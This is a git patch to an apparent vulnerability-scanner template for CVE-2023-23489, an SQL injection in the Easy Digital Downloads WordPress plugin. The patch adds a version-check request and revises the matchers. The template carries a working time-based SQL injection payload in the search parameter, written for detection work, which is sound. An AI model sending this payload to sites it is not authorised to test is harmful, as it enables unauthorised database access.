From ab5aadd39b6dd9e795ea99c06a5d117195411a52 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Fri, 17 Feb 2023 08:40:18 +0530 Subject: [PATCH] added matcher and request --- cves/2023/CVE-2023-23489.yaml | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/cves/2023/CVE-2023-23489.yaml b/cves/2023/CVE-2023-23489.yaml index 667564dbf6..0c6b7e2787 100644 --- a/cves/2023/CVE-2023-23489.yaml +++ b/cves/2023/CVE-2023-23489.yaml @@ -6,19 +6,15 @@ info: severity: critical description: | The Easy Digital Downloads WordPress Plugin, versions 3.1.0.2 & 3.1.0.3, is affected by an unauthenticated SQL injection vulnerability in the 's' parameter of its 'edd_download_search' action. - remediation: Fixed in version 3.1.0.4 reference: - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18 - https://wordpress.org/plugins/easy-digital-downloads/ - https://nvd.nist.gov/vuln/detail/CVE-2023-23489 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 cve-id: CVE-2023-23489 - cwe-id: CWE-89 metadata: verified: "true" - tags: cve,cve2023,sqli,wpscan,wordpress,wp,easy-digital-downloads,unauth + tags: cve,cve2023,sqli,wordpress,wp,wp-plugin,easy-digital-downloads,unauth requests: - raw: @@ -27,11 +23,14 @@ requests: GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1 Host: {{Hostname}} + - | + GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1 + Host: {{Hostname}} + matchers: - type: dsl dsl: - - 'duration>=6' - - 'status_code == 200' - - 'contains(content_type, "text/html")' - - 'contains(body, "[]")' + - 'duration_1>=6' + - 'status_code_1 == 200' + - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")' condition: and